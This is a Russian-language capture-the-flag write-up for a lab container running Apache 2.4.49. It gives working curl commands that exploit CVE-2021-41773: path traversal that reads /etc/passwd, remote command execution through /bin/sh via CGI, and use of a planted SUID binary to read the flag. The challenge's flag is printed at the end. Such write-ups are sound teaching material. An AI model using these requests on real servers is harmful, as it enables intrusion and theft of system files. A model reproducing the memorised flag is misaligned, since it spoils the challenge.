47 lines
2.3 KiB
Markdown
47 lines
2.3 KiB
Markdown
## Информация для участников
|
||
- Образ на базе `vulhub/httpd:2.4.49`, включён `mod_cgi` и `ScriptAlias /cgi-bin/`.
|
||
- Версия Apache уязвима к CVE-2021-41773/42013 (traversal → RCE при включённом CGI).
|
||
- В контейнере есть пользователь `flagger` с флагом в `/home/flagger/flag.txt`.
|
||
- Для чтения флага подготовлен SUID-клон `cat` по пути `/opt/dir/ping`.
|
||
|
||
## Решение (пошаговый райтап)
|
||
### 1.
|
||
- `curl -I http://<ip>:<port>/` → заголовок `Server: Apache/2.4.49 (Unix)`.
|
||
- `curl http://<ip>:<port>/cgi-bin/test.sh` выдаёт `CGI is working!`, значит CGI разрешён.
|
||
|
||
### 2.
|
||
Apache 2.4.49/2.4.50 некорректно обрабатывает последовательность `.%2e/`, поэтому с `--path-as-is` можно выйти за `ScriptAlias`.
|
||
```bash
|
||
curl --path-as-is http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||
```
|
||
Успешное чтение `/etc/passwd` подтверждает уязвимость.
|
||
|
||
### 3.
|
||
При включённом CGI можно вызвать системную `sh` напрямую:
|
||
```bash
|
||
curl --path-as-is -X POST \
|
||
'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
|
||
--data 'echo Content-Type: text/plain; echo; id'
|
||
```
|
||
Команда выполняется от имени `www-data`.
|
||
|
||
### 4.
|
||
Через RCE находим SUID-бинарники и видим подготовленный `/opt/dir/ping`:
|
||
```bash
|
||
curl --path-as-is -X POST 'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
|
||
--data 'echo Content-Type: text/plain; echo; find / -perm -4000 -type f 2>/dev/null'
|
||
```
|
||
Так как директория `flagger` недоступна `www-data`, используем этот SUID-клон `cat`.
|
||
|
||
### 5.
|
||
Передаём полный путь к флагу в SUID-бинарник (не забывая про заголовок для CGI):
|
||
```bash
|
||
curl --path-as-is -X POST \
|
||
'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
|
||
--data 'echo Content-Type: text/plain; echo; /opt/dir/ping /home/flagger/flag.txt'
|
||
```
|
||
Ответом придёт содержимое флага.
|
||
|
||
## Флаг
|
||
`caplag{61102b34a11186dd03f6ffd2dd2892b9fc22bd137e5d2d29c6fdd804ac45ef8c}`
|